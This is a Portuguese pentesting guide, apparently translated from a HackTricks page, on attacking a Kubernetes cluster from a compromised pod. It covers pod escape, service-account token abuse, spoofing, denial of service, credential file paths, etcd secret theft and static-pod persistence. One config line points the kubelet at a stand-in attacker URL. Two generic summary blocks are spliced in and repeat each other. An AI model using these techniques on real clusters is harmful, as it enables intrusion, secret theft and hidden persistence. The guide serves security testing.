Attacking Kubernetes from inside a Pod
Atacando o Kubernetes de dentro de um Pod
Fuga do Pod
Se tiver sorte, talvez consiga escapar para o nó:
Escapando do pod
Para tentar escapar do pod, você pode precisar elevar privilégios primeiro, algumas técnicas para fazer isso:
Você pode verificar essas fugas do docker para tentar escapar de um pod que você comprometeu:
Abusando dos Privilégios do Kubernetes
Como explicado na seção sobre enumeração do Kubernetes:
pageKubernetes EnumerationNormalmente, os pods são executados com um token de conta de serviço dentro deles. Esta conta de serviço pode ter alguns privilégios anexados a ela que você poderia abusar para mover-se para outros pods ou até mesmo escapar para os nós configurados dentro do cluster. Veja como em:
pageAbusing Roles/ClusterRoles in KubernetesAbusando dos Privilégios na Nuvem
Se o pod é executado dentro de um ambiente de nuvem, você pode ser capaz de vazar um token do endpoint de metadados e elevar privilégios usando-o.
Pesquisar serviços de rede vulneráveis
Como você está dentro do ambiente do Kubernetes, se não conseguir elevar privilégios abusando dos privilégios atuais dos pods e não conseguir escapar do contêiner, você deve pesquisar serviços potencialmente vulneráveis.
Serviços
Para este propósito, você pode tentar obter todos os serviços do ambiente do Kubernetes:
Por padrão, o Kubernetes usa um esquema de rede plano, o que significa que qualquer pod/serviço dentro do cluster pode se comunicar com outros. Os namespaces dentro do cluster não possuem restrições de segurança de rede por padrão. Qualquer pessoa no namespace pode se comunicar com outros namespaces.
Escaneamento
O seguinte script Bash (retirado de um workshop do Kubernetes) irá instalar e escanear os intervalos de IP do cluster Kubernetes:
Dê uma olhada na seguinte página para aprender como você poderia atacar serviços específicos do Kubernetes para comprometer outros pods/todo o ambiente:
pagePentesting Kubernetes ServicesSniffing
No caso do pod comprometido estar executando algum serviço sensível onde outros pods precisam se autenticar, você pode ser capaz de obter as credenciais enviadas pelos outros pods farejando comunicações locais.
Network Spoofing
Por padrão, técnicas como ARP spoofing (e graças a isso DNS Spoofing) funcionam na rede do Kubernetes. Então, dentro de um pod, se você tiver a capacidade NET_RAW (que está lá por padrão), você poderá enviar pacotes de rede personalizados e realizar ataques de MitM via ARP Spoofing para todos os pods em execução no mesmo nó. Além disso, se o pod malicioso estiver sendo executado no mesmo nó que o Servidor DNS, você poderá realizar um ataque de DNS Spoofing para todos os pods no cluster.
pageKubernetes Network AttacksNode DoS
Não há especificação de recursos nos manifestos do Kubernetes e limites de aplicação não são aplicados para os contêineres. Como atacante, podemos consumir todos os recursos onde o pod/deployment está em execução e privar outros recursos, causando um DoS para o ambiente.
Isso pode ser feito com uma ferramenta como stress-ng:
Você pode ver a diferença enquanto executa stress-ng
e depois
Pós-Exploração do Node
Se você conseguiu escapar do contêiner, encontrará algumas coisas interessantes no node:
O processo de Container Runtime (Docker)
Mais pods/contêineres em execução no node que você pode abusar como este (mais tokens)
Todo o sistema de arquivos e o SO em geral
O serviço Kube-Proxy ouvindo
O serviço Kubelet ouvindo. Verifique os arquivos de configuração:
Diretório:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Outros arquivos comuns do Kubernetes:
$HOME/.kube/config
- Configuração do Usuário/etc/kubernetes/kubelet.conf
- Configuração Regular/etc/kubernetes/bootstrap-kubelet.conf
- Configuração de Inicialização/etc/kubernetes/manifests/etcd.yaml
- Configuração do etcd/etc/kubernetes/pki
- Chave do Kubernetes
Encontrar o kubeconfig do node
Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos mencionados anteriormente, verifique o argumento --kubeconfig
do processo kubelet:
Roubar Segredos
O script can-they.sh irá automaticamente obter os tokens de outros pods e verificar se eles têm a permissão que você está procurando (em vez de você verificar um por um):
DaemonSets Privilegiados
Um DaemonSet é um pod que será executado em todos os nós do cluster. Portanto, se um DaemonSet for configurado com uma conta de serviço privilegiada, em TODOS os nós você será capaz de encontrar o token dessa conta de serviço privilegiada que você poderia abusar.
A exploração é a mesma que na seção anterior, mas agora você não depende da sorte.
Pivot para a Nuvem
Se o cluster for gerenciado por um serviço de nuvem, geralmente o Nó terá um acesso diferente ao endpoint de metadados do que o Pod. Portanto, tente acessar o endpoint de metadados a partir do nó (ou de um pod com hostNetwork para True):
pageKubernetes Pivoting to CloudsRoubar etcd
Se você puder especificar o nome do nó do Nó que executará o contêiner, obtenha um shell dentro de um nó de plano de controle e obtenha o banco de dados etcd:
Os nós de plano de controle têm a função de mestre e em clusters gerenciados na nuvem você não poderá executar nada neles.
Ler segredos do etcd
Se você puder executar seu pod em um nó de plano de controle usando o seletor nodeName
na especificação do pod, você pode ter acesso fácil ao banco de dados etcd
, que contém toda a configuração do cluster, incluindo todos os segredos.
Abaixo está uma maneira rápida e suja de pegar segredos do etcd
se ele estiver sendo executado no nó de plano de controle em que você está. Se você deseja uma solução mais elegante que inicie um pod com a utilidade do cliente etcd
etcdctl
e use as credenciais do nó de plano de controle para se conectar ao etcd onde quer que ele esteja sendo executado, confira este exemplo de manifesto de @mauilion.
Verifique se o etcd
está sendo executado no nó de plano de controle e veja onde o banco de dados está (Isso é em um cluster criado com kubeadm
)
Atacando o Kubernetes de Dentro de um Pod
Ao executar um ataque de dentro de um pod no Kubernetes, você pode explorar várias vulnerabilidades e realizar ações maliciosas. Aqui estão algumas técnicas comuns usadas para atacar o Kubernetes de dentro de um pod:
Montagem de Volumes: Se um pod tiver permissões excessivas para montar volumes, um atacante pode montar um volume malicioso contendo scripts ou ferramentas de hacking.
Execução de Comandos: Se um pod permitir a execução de comandos arbitrários, um invasor pode executar comandos maliciosos no cluster do Kubernetes.
Acesso a Recursos Confidenciais: Se um pod tiver acesso a credenciais confidenciais, um atacante pode roubar essas credenciais e comprometer outros recursos no cluster.
Escalada de Privilégios: Um atacante pode tentar escalar seus privilégios explorando vulnerabilidades no pod ou no cluster para obter acesso privilegiado.
É crucial garantir que os pods no Kubernetes tenham as permissões mínimas necessárias e que as práticas de segurança recomendadas sejam seguidas para evitar esses tipos de ataques.
Visualizar os dados no banco de dados etcd:
Extrair os tokens do banco de dados e mostrar o nome da conta de serviço
Mesmo comando, mas com alguns greps para retornar apenas o token padrão no namespace kube-system
Atacando o Kubernetes de Dentro de um Pod
Ao executar um ataque de dentro de um pod no Kubernetes, você pode explorar vulnerabilidades e tentar escalar privilégios para comprometer o cluster. Aqui estão algumas técnicas comuns:
Montagem de Volumes: Se um pod estiver montando um volume que dá acesso a informações sensíveis, você pode explorar isso para obter dados confidenciais.
Execução de Comandos: Se conseguir executar comandos dentro de um pod, poderá explorar o ambiente para encontrar vulnerabilidades adicionais.
Exploração de Vulnerabilidades: Procure por vulnerabilidades conhecidas no software em execução dentro do pod e veja se consegue explorá-las.
Escalonamento de Privilégios: Tente escalar seus privilégios dentro do pod para obter acesso a mais recursos no cluster.
Ao realizar esses ataques, lembre-se sempre de seguir as leis e regulamentos locais e obter autorização adequada antes de prosseguir.
Persistência de Pods Estáticos/Refletidos
Pods Estáticos são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o servidor de API os observe. Ao contrário dos Pods gerenciados pelo plano de controle (por exemplo, um Deployment); em vez disso, o kubelet observa cada Pod estático (e o reinicia se falhar).
Portanto, os Pods estáticos estão sempre vinculados a um Kubelet em um nó específico.
O kubelet tenta automaticamente criar um Pod espelho no servidor de API do Kubernetes para cada Pod estático. Isso significa que os Pods em execução em um nó são visíveis no servidor de API, mas não podem ser controlados a partir dele. Os nomes dos Pods terão um sufixo com o nome do nó com um hífen inicial.
O spec
de um Pod estático não pode se referir a outros objetos de API (por exemplo, ServiceAccount, ConfigMap, Secret, etc. Portanto, você não pode abusar desse comportamento para iniciar um pod com uma ServiceAccount arbitrária no nó atual para comprometer o cluster. Mas você poderia usar isso para executar pods em namespaces diferentes (caso seja útil por algum motivo).
Se você estiver dentro do nó host, pode fazer com que ele crie um pod estático dentro dele mesmo. Isso é bastante útil porque pode permitir que você crie um pod em um namespace diferente como kube-system.
Para criar um pod estático, a documentação é de grande ajuda. Basicamente, você precisa de 2 coisas:
Configurar o parâmetro
--pod-manifest-path=/etc/kubernetes/manifests
no serviço kubelet, ou no config do kubelet (staticPodPath) e reiniciar o serviçoCriar a definição no arquivo de definição do pod em
/etc/kubernetes/manifests
Outra maneira mais furtiva seria:
Modificar o parâmetro
staticPodURL
do arquivo de configuração do kubelet e definir algo comostaticPodURL: http://attacker.com:8765/pod.yaml
. Isso fará com que o processo kubelet crie um pod estático obtendo a configuração a partir do URL indicado.
Exemplo de configuração do pod para criar um pod privilegiado em kube-system retirado daqui:
Excluir pods + nós não escalonáveis
Se um atacante comprometeu um nó e ele pode excluir pods de outros nós e impedir que outros nós executem pods, os pods serão reiniciados no nó comprometido e ele poderá roubar os tokens executados neles. Para mais informações siga estes links.
Ferramentas Automáticas
Última actualización